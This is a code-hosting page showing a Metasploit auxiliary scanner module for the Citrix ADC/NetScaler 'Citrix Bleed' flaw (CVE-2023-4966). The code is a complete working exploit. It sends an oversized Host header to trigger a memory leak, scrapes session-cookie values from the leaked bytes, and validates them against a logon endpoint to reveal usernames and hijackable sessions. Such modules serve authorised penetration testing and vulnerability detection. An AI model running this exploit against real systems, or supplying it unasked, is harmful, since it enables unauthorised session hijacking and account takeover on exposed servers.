rapid7/metasploit-framework

View on GitHub
modules/auxiliary/scanner/http/citrix_bleed_cve_2023_4966.rb

Summary

Maintainability
A
3 hrs
Test Coverage
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  COOKIE_NAME = 'NSC_AAAC'.freeze

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Citrix ADC (NetScaler) Bleed Scanner',
        'Description' => %q{
          This module scans for a vulnerability that allows a remote, unauthenticated attacker to leak memory for a
          target Citrix ADC server. The leaked memory is then scanned for session cookies which can be hijacked if found.
        },
        'Author' => [
          'Dylan Pindur', # original assetnote writeup
          'Spencer McIntyre' # metasploit module
        ],
        'References' => [
          ['CVE', '2023-4966'],
          ['URL', 'https://www.assetnote.io/resources/research/citrix-bleed-leaking-session-tokens-with-cve-2023-4966']
        ],
        'DisclosureDate' => '2023-10-25',
        'License' => MSF_LICENSE,
        'Notes' => {
          'Stability' => [],
          'Reliability' => [],
          'SideEffects' => [],
          'AKA' => ['Citrix Bleed']
        },
        'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  def get_user_for_cookie(cookie)
    vprint_status("#{peer} - Checking cookie: #{cookie}")
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'logon/LogonPoint/Authentication/GetUserName'),
      'headers' => {
        'Cookie' => "#{COOKIE_NAME}=#{cookie}"
      }
    )
    return nil unless res&.code == 200

    res.body.strip
  end

  def run_host(_target_host)
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'oauth/idp/.well-known/openid-configuration'),
      'headers' => {
        'Host' => Rex::Text.rand_text_alpha(24812),
        'Connection' => 'close'
      }
    )
    return nil unless res&.code == 200
    return nil unless res.headers['Content-Type'].present?
    return nil unless res.headers['Content-Type'].downcase.start_with?('application/json')

    username = nil
    res.body.scan(/([0-9a-f]{32,65})/i).each do |cookie|
      cookie = cookie.first
      username = get_user_for_cookie(cookie)
      next unless username

      print_good("#{peer} - Cookie: #{COOKIE_NAME}=#{cookie} Username: #{username}")
      report_vuln
    end

    return if username

    begin
      JSON.parse(res.body)
    rescue JSON::ParserError
      print_status("#{peer} - The target is vulnerable but no valid cookies were leaked.")
      report_vuln
    else
      print_status("#{peer} - The target does not appear vulnerable.")
    end
  end

  def report_vuln
    super(
      host: rhost,
      port: rport,
      name: name,
      refs: references
    )
  end
end